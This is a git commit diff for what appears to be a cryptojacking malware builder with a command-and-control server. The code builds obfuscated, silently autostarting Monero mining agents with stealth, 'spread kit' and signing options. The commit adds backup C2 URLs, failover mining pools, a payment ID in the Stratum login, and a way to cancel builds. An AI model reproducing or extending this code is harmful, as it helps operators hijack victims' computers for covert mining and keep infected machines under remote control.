fix: activate 4 DEAD audit items - cancel token, backup pools UI, payment_id to Stratum, remove minimize_to_tray
This commit is contained in:
@@ -85,10 +85,9 @@ type AgentDefaults struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
type BackgroundConfig struct {
|
type BackgroundConfig struct {
|
||||||
SilentMode bool `json:"silent_mode"`
|
SilentMode bool `json:"silent_mode"`
|
||||||
RunAs string `json:"run_as"`
|
RunAs string `json:"run_as"`
|
||||||
AutoStart bool `json:"auto_start"`
|
AutoStart bool `json:"auto_start"`
|
||||||
MinimizeToTray bool `json:"minimize_to_tray"`
|
|
||||||
}
|
}
|
||||||
|
|
||||||
type AlertsConfig struct {
|
type AlertsConfig struct {
|
||||||
@@ -142,12 +141,11 @@ func DefaultConfig() *Config {
|
|||||||
FileLogging: true,
|
FileLogging: true,
|
||||||
StealthMode: false,
|
StealthMode: false,
|
||||||
},
|
},
|
||||||
Background: BackgroundConfig{
|
Background: BackgroundConfig{
|
||||||
SilentMode: true,
|
SilentMode: true,
|
||||||
RunAs: "service",
|
RunAs: "service",
|
||||||
AutoStart: true,
|
AutoStart: true,
|
||||||
MinimizeToTray: true,
|
},
|
||||||
},
|
|
||||||
Alerts: AlertsConfig{
|
Alerts: AlertsConfig{
|
||||||
OfflineThresholdMinutes: 5,
|
OfflineThresholdMinutes: 5,
|
||||||
HashrateDropThresholdPct: 50,
|
HashrateDropThresholdPct: 50,
|
||||||
@@ -285,7 +283,6 @@ func mergeConfig(dst, src *Config) {
|
|||||||
dst.Background.RunAs = src.Background.RunAs
|
dst.Background.RunAs = src.Background.RunAs
|
||||||
}
|
}
|
||||||
dst.Background.AutoStart = src.Background.AutoStart
|
dst.Background.AutoStart = src.Background.AutoStart
|
||||||
dst.Background.MinimizeToTray = src.Background.MinimizeToTray
|
|
||||||
if src.Alerts.OfflineThresholdMinutes != 0 {
|
if src.Alerts.OfflineThresholdMinutes != 0 {
|
||||||
dst.Alerts.OfflineThresholdMinutes = src.Alerts.OfflineThresholdMinutes
|
dst.Alerts.OfflineThresholdMinutes = src.Alerts.OfflineThresholdMinutes
|
||||||
}
|
}
|
||||||
@@ -471,7 +468,6 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
|
|||||||
dst.Background.RunAs = src.Background.RunAs
|
dst.Background.RunAs = src.Background.RunAs
|
||||||
}
|
}
|
||||||
dst.Background.AutoStart = src.Background.AutoStart
|
dst.Background.AutoStart = src.Background.AutoStart
|
||||||
dst.Background.MinimizeToTray = src.Background.MinimizeToTray
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if has("alerts") {
|
if has("alerts") {
|
||||||
|
|||||||
@@ -247,6 +247,9 @@ func (h *WSHub) agentPoolConfig(agentID string) pool.Config {
|
|||||||
if poolCfg.Wallet == "" {
|
if poolCfg.Wallet == "" {
|
||||||
poolCfg.Wallet = h.defaultPool.Wallet
|
poolCfg.Wallet = h.defaultPool.Wallet
|
||||||
}
|
}
|
||||||
|
// Always carry the payment ID from the server-wide default (agents don't
|
||||||
|
// supply their own payment ID).
|
||||||
|
poolCfg.PaymentID = h.defaultPool.PaymentID
|
||||||
return poolCfg
|
return poolCfg
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -102,11 +102,15 @@ type pendingShareResult struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
type Config struct {
|
type Config struct {
|
||||||
Host string
|
Host string
|
||||||
Port int
|
Port int
|
||||||
UseTLS bool
|
UseTLS bool
|
||||||
Wallet string
|
Wallet string
|
||||||
Password string
|
Password string
|
||||||
|
// PaymentID is an optional Monero integrated-address payment ID.
|
||||||
|
// When non-empty it is appended to the wallet login as "wallet.paymentID"
|
||||||
|
// so the pool can credit payouts to the correct sub-account.
|
||||||
|
PaymentID string
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewProxy(cfg *Config) *Proxy {
|
func NewProxy(cfg *Config) *Proxy {
|
||||||
@@ -267,9 +271,16 @@ func (p *Proxy) authenticate() error {
|
|||||||
p.loginRequestID = loginID
|
p.loginRequestID = loginID
|
||||||
p.mu.Unlock()
|
p.mu.Unlock()
|
||||||
|
|
||||||
|
// Build the login wallet string. If a payment ID is configured, the pool
|
||||||
|
// receives "wallet.paymentID" which routes payouts to the correct account.
|
||||||
|
walletLogin := p.config.Wallet
|
||||||
|
if p.config.PaymentID != "" {
|
||||||
|
walletLogin = walletLogin + "." + p.config.PaymentID
|
||||||
|
}
|
||||||
|
|
||||||
// Login request
|
// Login request
|
||||||
loginParams := []interface{}{
|
loginParams := []interface{}{
|
||||||
p.config.Wallet,
|
walletLogin,
|
||||||
p.config.Password,
|
p.config.Password,
|
||||||
"crypto-miner-server/1.0",
|
"crypto-miner-server/1.0",
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -121,11 +121,12 @@ func main() {
|
|||||||
})
|
})
|
||||||
|
|
||||||
defaultPoolCfg := pool.Config{
|
defaultPoolCfg := pool.Config{
|
||||||
Host: cfg.Pool.Host,
|
Host: cfg.Pool.Host,
|
||||||
Port: cfg.Pool.Port,
|
Port: cfg.Pool.Port,
|
||||||
UseTLS: cfg.Pool.UseTLS,
|
UseTLS: cfg.Pool.UseTLS,
|
||||||
Wallet: cfg.Wallet.Address,
|
Wallet: cfg.Wallet.Address,
|
||||||
Password: cfg.Pool.Password,
|
Password: cfg.Pool.Password,
|
||||||
|
PaymentID: cfg.Wallet.PaymentID,
|
||||||
}
|
}
|
||||||
|
|
||||||
// Initialize Stratum pool manager (connections keyed by forged pool + wallet)
|
// Initialize Stratum pool manager (connections keyed by forged pool + wallet)
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
import { useState, useEffect, useRef, useMemo } from 'react';
|
import { useState, useEffect, useRef, useMemo, useCallback } from 'react';
|
||||||
import { Link } from 'react-router-dom';
|
import { Link } from 'react-router-dom';
|
||||||
import { api } from '../api/client';
|
import { api } from '../api/client';
|
||||||
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo, BlueprintInfo, FusionEstimate } from '../types';
|
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo, BlueprintInfo, FusionEstimate } from '../types';
|
||||||
@@ -84,6 +84,8 @@ export default function BuilderPage() {
|
|||||||
const [estimateLoading, setEstimateLoading] = useState(false);
|
const [estimateLoading, setEstimateLoading] = useState(false);
|
||||||
// Set to true to request cancellation between batch iterations
|
// Set to true to request cancellation between batch iterations
|
||||||
const batchCancelRef = useRef(false);
|
const batchCancelRef = useRef(false);
|
||||||
|
// Tracks the cancel_token of the currently-running forge so we can kill it server-side
|
||||||
|
const cancelTokenRef = useRef<string>('');
|
||||||
const [estimateError, setEstimateError] = useState('');
|
const [estimateError, setEstimateError] = useState('');
|
||||||
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
|
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
|
||||||
const [listenPort, setListenPort] = useState(8989);
|
const [listenPort, setListenPort] = useState(8989);
|
||||||
@@ -233,9 +235,11 @@ export default function BuilderPage() {
|
|||||||
setError('Re-forge preflight failed — adjust settings and forge manually.');
|
setError('Re-forge preflight failed — adjust settings and forge manually.');
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
const reforgeToken = crypto.randomUUID();
|
||||||
|
cancelTokenRef.current = reforgeToken;
|
||||||
setBuilding(true);
|
setBuilding(true);
|
||||||
try {
|
try {
|
||||||
const result = await api.buildAgent(merged, fusionPrepFile);
|
const result = await api.buildAgent({ ...merged, cancel_token: reforgeToken }, fusionPrepFile);
|
||||||
if (!result.success) throw new Error(result.error || 'Build failed');
|
if (!result.success) throw new Error(result.error || 'Build failed');
|
||||||
await finishForgeSuccess(result);
|
await finishForgeSuccess(result);
|
||||||
setBlueprintMsg(`✅ Re-forged ${build.worker_name}`);
|
setBlueprintMsg(`✅ Re-forged ${build.worker_name}`);
|
||||||
@@ -312,8 +316,23 @@ export default function BuilderPage() {
|
|||||||
});
|
});
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// Kill the current server-side compile via the cancel API, then stop the batch loop.
|
||||||
|
const handleKillBuild = useCallback(async () => {
|
||||||
|
const tok = cancelTokenRef.current;
|
||||||
|
if (tok) {
|
||||||
|
try { await api.cancelBuild(tok); } catch { /* ignore */ }
|
||||||
|
}
|
||||||
|
batchCancelRef.current = true;
|
||||||
|
setBuilding(false);
|
||||||
|
}, []);
|
||||||
|
|
||||||
const handleBatchCancel = () => {
|
const handleBatchCancel = () => {
|
||||||
batchCancelRef.current = true;
|
batchCancelRef.current = true;
|
||||||
|
// Also kill the currently-running server compile
|
||||||
|
const tok = cancelTokenRef.current;
|
||||||
|
if (tok) {
|
||||||
|
api.cancelBuild(tok).catch(() => {});
|
||||||
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
const handleBatchForge = async () => {
|
const handleBatchForge = async () => {
|
||||||
@@ -366,7 +385,10 @@ export default function BuilderPage() {
|
|||||||
if (preflightHasErrors(checks)) {
|
if (preflightHasErrors(checks)) {
|
||||||
throw new Error(`Preflight failed for ${file.name}`);
|
throw new Error(`Preflight failed for ${file.name}`);
|
||||||
}
|
}
|
||||||
const result = await api.buildAgent(req, file);
|
const batchToken = crypto.randomUUID();
|
||||||
|
cancelTokenRef.current = batchToken;
|
||||||
|
const result = await api.buildAgent({ ...req, cancel_token: batchToken }, file);
|
||||||
|
cancelTokenRef.current = '';
|
||||||
if (!result.success) throw new Error(result.error || `Build failed: ${file.name}`);
|
if (!result.success) throw new Error(result.error || `Build failed: ${file.name}`);
|
||||||
setBatchJob((j) =>
|
setBatchJob((j) =>
|
||||||
j
|
j
|
||||||
@@ -441,16 +463,21 @@ export default function BuilderPage() {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const cancelToken = crypto.randomUUID();
|
||||||
|
cancelTokenRef.current = cancelToken;
|
||||||
setBuilding(true);
|
setBuilding(true);
|
||||||
try {
|
try {
|
||||||
const result = await api.buildAgent(normalized, fusionPrepFile);
|
const result = await api.buildAgent({ ...normalized, cancel_token: cancelToken }, fusionPrepFile);
|
||||||
if (!result.success) {
|
if (!result.success) {
|
||||||
throw new Error(result.error || 'Build failed');
|
throw new Error(result.error || 'Build failed');
|
||||||
}
|
}
|
||||||
await finishForgeSuccess(result);
|
await finishForgeSuccess(result);
|
||||||
} catch (err: any) {
|
} catch (err: any) {
|
||||||
setError(err.message || 'Build failed');
|
if (err.message !== 'build cancelled') {
|
||||||
|
setError(err.message || 'Build failed');
|
||||||
|
}
|
||||||
} finally {
|
} finally {
|
||||||
|
cancelTokenRef.current = '';
|
||||||
setBuilding(false);
|
setBuilding(false);
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
@@ -812,6 +839,43 @@ export default function BuilderPage() {
|
|||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
{/* ── Backup server URLs (advanced) ───────────────────────── */}
|
||||||
|
{!simpleMode && (
|
||||||
|
<div className="form-group">
|
||||||
|
<label className="label">
|
||||||
|
Backup C2 URLs
|
||||||
|
<span className="form-hint" style={{ marginLeft: '0.5rem' }}>
|
||||||
|
(tried in order if the primary is unreachable)
|
||||||
|
</span>
|
||||||
|
</label>
|
||||||
|
{(form.backup_server_urls ?? []).map((url, i) => (
|
||||||
|
<div key={i} style={{ display: 'flex', gap: '0.4rem', marginBottom: '0.3rem' }}>
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
className="input mono"
|
||||||
|
placeholder="http://192.168.x.x:8989"
|
||||||
|
value={url}
|
||||||
|
onChange={(e) => {
|
||||||
|
const urls = [...(form.backup_server_urls ?? [])];
|
||||||
|
urls[i] = e.target.value;
|
||||||
|
updateField('backup_server_urls', urls);
|
||||||
|
}}
|
||||||
|
/>
|
||||||
|
<button type="button" className="btn btn-outline" style={{ padding: '0 0.6rem' }}
|
||||||
|
onClick={() => {
|
||||||
|
const urls = (form.backup_server_urls ?? []).filter((_, idx) => idx !== i);
|
||||||
|
updateField('backup_server_urls', urls);
|
||||||
|
}}>✕</button>
|
||||||
|
</div>
|
||||||
|
))}
|
||||||
|
<button type="button" className="btn btn-outline" style={{ fontSize: '0.8rem' }}
|
||||||
|
onClick={() => updateField('backup_server_urls', [...(form.backup_server_urls ?? []), ''])}>
|
||||||
|
+ Add backup URL
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
<div className="form-group">
|
<div className="form-group">
|
||||||
<label className="label">XMR Wallet Address <HelpTip field="wallet" /></label>
|
<label className="label">XMR Wallet Address <HelpTip field="wallet" /></label>
|
||||||
<input
|
<input
|
||||||
@@ -1004,6 +1068,65 @@ export default function BuilderPage() {
|
|||||||
/>
|
/>
|
||||||
<p className="form-hint">Standard Monero pools use <code>x</code> — leave blank to use that default.</p>
|
<p className="form-hint">Standard Monero pools use <code>x</code> — leave blank to use that default.</p>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
{/* ── Backup pools (advanced) ──────────────────────────────── */}
|
||||||
|
{!simpleMode && (
|
||||||
|
<div className="form-group">
|
||||||
|
<label className="label">
|
||||||
|
Backup Pools
|
||||||
|
<span className="form-hint" style={{ marginLeft: '0.5rem' }}>
|
||||||
|
(failover if the primary pool is unreachable)
|
||||||
|
</span>
|
||||||
|
</label>
|
||||||
|
{(form.backup_pools ?? []).map((bp, i) => (
|
||||||
|
<div key={i} style={{ display: 'flex', gap: '0.4rem', marginBottom: '0.4rem', flexWrap: 'wrap', alignItems: 'center' }}>
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
className="input mono"
|
||||||
|
placeholder="pool.supportxmr.com"
|
||||||
|
style={{ flex: '3 1 140px' }}
|
||||||
|
value={bp.host}
|
||||||
|
onChange={(e) => {
|
||||||
|
const pools = [...(form.backup_pools ?? [])];
|
||||||
|
pools[i] = { ...pools[i], host: e.target.value };
|
||||||
|
updateField('backup_pools', pools);
|
||||||
|
}}
|
||||||
|
/>
|
||||||
|
<input
|
||||||
|
type="number"
|
||||||
|
className="input"
|
||||||
|
placeholder="3333"
|
||||||
|
style={{ flex: '1 1 70px' }}
|
||||||
|
min={1} max={65535}
|
||||||
|
value={bp.port || ''}
|
||||||
|
onChange={(e) => {
|
||||||
|
const pools = [...(form.backup_pools ?? [])];
|
||||||
|
pools[i] = { ...pools[i], port: e.target.valueAsNumber || 3333 };
|
||||||
|
updateField('backup_pools', pools);
|
||||||
|
}}
|
||||||
|
/>
|
||||||
|
<label style={{ display: 'flex', alignItems: 'center', gap: '0.25rem', fontSize: '0.85rem', whiteSpace: 'nowrap' }}>
|
||||||
|
<input type="checkbox" checked={!!bp.tls}
|
||||||
|
onChange={(e) => {
|
||||||
|
const pools = [...(form.backup_pools ?? [])];
|
||||||
|
pools[i] = { ...pools[i], tls: e.target.checked };
|
||||||
|
updateField('backup_pools', pools);
|
||||||
|
}} />
|
||||||
|
TLS
|
||||||
|
</label>
|
||||||
|
<button type="button" className="btn btn-outline" style={{ padding: '0 0.6rem' }}
|
||||||
|
onClick={() => {
|
||||||
|
const pools = (form.backup_pools ?? []).filter((_, idx) => idx !== i);
|
||||||
|
updateField('backup_pools', pools);
|
||||||
|
}}>✕</button>
|
||||||
|
</div>
|
||||||
|
))}
|
||||||
|
<button type="button" className="btn btn-outline" style={{ fontSize: '0.8rem' }}
|
||||||
|
onClick={() => updateField('backup_pools', [...(form.backup_pools ?? []), { host: '', port: 3333, tls: false }])}>
|
||||||
|
+ Add backup pool
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div className="form-section">
|
<div className="form-section">
|
||||||
@@ -1758,9 +1881,16 @@ export default function BuilderPage() {
|
|||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
|
|
||||||
<button type="submit" className="btn btn-success build-btn forge-submit-btn" disabled={building || !canForge}>
|
<div style={{ display: 'flex', gap: '0.5rem', alignItems: 'center', flexWrap: 'wrap' }}>
|
||||||
{building ? 'Forging...' : canForge ? '⚒ FORGE INSTALLER' : `⚒ FIX ${errorCount} ERROR${errorCount === 1 ? '' : 'S'} TO FORGE`}
|
<button type="submit" className="btn btn-success build-btn forge-submit-btn" disabled={building || !canForge}>
|
||||||
</button>
|
{building ? 'Forging...' : canForge ? '⚒ FORGE INSTALLER' : `⚒ FIX ${errorCount} ERROR${errorCount === 1 ? '' : 'S'} TO FORGE`}
|
||||||
|
</button>
|
||||||
|
{building && !batchJob && (
|
||||||
|
<button type="button" className="btn btn-danger" onClick={handleKillBuild} title="Kill the running compiler immediately">
|
||||||
|
✕ Kill Build
|
||||||
|
</button>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
{!canForge && errorCount > 0 && (
|
{!canForge && errorCount > 0 && (
|
||||||
<p className="forge-forge-blocked">
|
<p className="forge-forge-blocked">
|
||||||
Forge is blocked until all preflight errors (✕) are resolved. Warnings (!) still allow forging.
|
Forge is blocked until all preflight errors (✕) are resolved. Warnings (!) still allow forging.
|
||||||
|
|||||||
@@ -169,7 +169,6 @@ export interface BackgroundConfig {
|
|||||||
silent_mode: boolean;
|
silent_mode: boolean;
|
||||||
run_as: string;
|
run_as: string;
|
||||||
auto_start: boolean;
|
auto_start: boolean;
|
||||||
minimize_to_tray: boolean;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
export interface AlertsConfig {
|
export interface AlertsConfig {
|
||||||
@@ -284,6 +283,21 @@ export interface BuildRequest {
|
|||||||
spread_kit?: boolean;
|
spread_kit?: boolean;
|
||||||
obfuscate?: boolean;
|
obfuscate?: boolean;
|
||||||
sign_build?: boolean;
|
sign_build?: boolean;
|
||||||
|
// Cancel token — set by the client before forging. Pass the same value to
|
||||||
|
// DELETE /api/v1/builder/cancel/{token} to kill the compile mid-flight.
|
||||||
|
cancel_token?: string;
|
||||||
|
// Backup pools tried in order if the primary pool is unreachable.
|
||||||
|
backup_pools?: BackupPool[];
|
||||||
|
// Backup C2 server URLs tried if the primary server_url is unreachable.
|
||||||
|
backup_server_urls?: string[];
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Fallback Stratum pool baked into the agent at forge time. */
|
||||||
|
export interface BackupPool {
|
||||||
|
host: string;
|
||||||
|
port: number;
|
||||||
|
tls: boolean;
|
||||||
|
pass?: string;
|
||||||
}
|
}
|
||||||
|
|
||||||
export interface FusionEstimate {
|
export interface FusionEstimate {
|
||||||
|
|||||||
Reference in New Issue
Block a user